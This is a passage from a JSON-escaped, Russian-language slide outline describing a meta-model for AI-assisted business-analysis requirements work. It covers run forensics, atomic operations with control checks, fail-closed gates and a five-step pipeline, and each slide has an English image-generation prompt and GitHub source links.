\u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0441\u0435\u0442\u043a\u0430 \u0438\u0437 17 \u043c\u0438\u043d\u0438\u0430\u0442\u044e\u0440 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\\n\u0441\u043e\u0441\u0442\u0430\u0432\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432; \u043d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeventeen specification documents laid out in a grid, each with a\\ndifferent internal skeleton of blocks and sections, none of them\\nmatching; a single empty template frame hovers above, unused.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- \u0421\u0442\u0430\u0440\u0442: 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 (stepwise, oneshot, legacy) \u043d\u0430 13\\n  \u0437\u0430\u0434\u0430\u0447. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432 \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- 10 \u0438\u0437 12 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437\\n  24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432: \u043d\u0435\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430, \u0433\u0435\u0439\u0442\u0430.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435,\\n  \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n- \u0420\u0435\u0448\u0435\u043d\u0438\u0435: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0426\u0438\u0442\u0430\u0442\u0430 \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041f\u0440\u043e\u043c\u043f\u0442-only \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u044d\u0442\u0438 \u043a\u043b\u0430\u0441\u0441\u044b;\\n> \u043d\u0443\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430\u00bb.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u00abRUN-0001 \u2192 RUN-0069\u00bb \u0441 \u0442\u0440\u0435\u043c\u044f\\n\u0432\u0435\u0445\u0430\u043c\u0438: \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA timeline running left to right: on the left a tangled heap of\\nhandwritten prompt cards, in the middle a forensic magnifying glass\\nover a row of numbered run folders, on the right a clean architectural\\nblueprint of connected blocks rising from the same folders.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0411\u043b\u043e\u043a 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.**\\n\\n- \u0421\u0442\u0440\u043e\u0433\u0430\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u044f: **\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442**.\\n  \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0417\u0430\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0438: 33 \u043d\u0430\u0432\u044b\u043a\u0430-\u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f; \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n  \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430 \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430: \u0432\u0445\u043e\u0434 \u00d7 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u00d7 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u00d7 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u00d7 \u0430\u043a\u0442\u043e\u0440 \u2014\\n  \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438 \u0433\u0435\u0439\u0442 \u2014 \u0432\u044b\u0445\u043e\u0434 + \u0441\u043b\u0435\u0434.\\n- \u0427\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430: \u043d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 (`MM-1`), \u043d\u0435\u0442 \u0433\u0435\u0439\u0442\u0430 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\\n  (`MM-2`), \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u043d\u0435\u0441\u0451\u0442 \u0441\u043b\u0435\u0434 (`MM-3`), \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0434\u043e \u0448\u0430\u0433\u0430\\n  (`MM-4`).\\n\\n> **\u0424\u043e\u0440\u043c\u0443\u043b\u0430:** `Artifact_in \u00d7 Product \u00d7 System \u00d7 Operation \u00d7 Actor \u2500\u2500\\n> Contract \u2500\u2500\u25b6 Gate \u2500\u2500\u25b6 Artifact_out + Trace`\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0447\u0435\u0442\u044b\u0440\u0451\u0445\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u0430\u044f \u043f\u0438\u0440\u0430\u043c\u0438\u0434\u0430 \u0441 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439\\n\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439 \u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0440\u0430\u043d\u0438.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nAn exploded architectural diagram of four stacked translucent layers:\\na product layer on top, a process layer, a layer of many small identical\\noperation cubes, and at the bottom a row of finished artefacts; thin\\nvertical threads connect every artefact back up to its operation and\\nproduct.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0435\u043e\u0440\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0411\u043b\u043e\u043a 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432.**\\n\\n- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **\u0420\u0435\u0448\u0435\u043d\u0438\u0435:** \u0440\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0437\u043b\u043e\u0436\u0435\u043d\u0430 \u043d\u0430 31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445\\n  \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f.\\n- \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c, \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0432\u044b\u0431\u043e\u0440 \u2014 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **Fail-closed:** \u043d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\\n  \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n\\n> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u043a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2192 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u2192\\n\u0440\u0438\u0441\u043a\u00bb (5 \u0441\u0442\u0440\u043e\u043a).\\n\\n| \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c | \u0420\u0438\u0441\u043a \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a |\\n| \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA human brain rendered as a loose, glowing nebula on the left; on the\\nright the same energy is split into five precise crystalline modules,\\neach sealed inside its own transparent inspection chamber with a\\nclosed lock that only opens when a checklist lights up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u0435 \u00ab\u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0411\u043b\u043e\u043a 5. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c.**\\n\\n1. **\u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f:** \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443\\n   `C-IN`; \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n2. **\u0421\u0432\u0435\u0440\u043a\u0430:** \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438 \u043a\u0435\u0439\u0441\u0430\u043c; \u043d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u0438\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f\u043c\u0438.\\n3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n   API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e 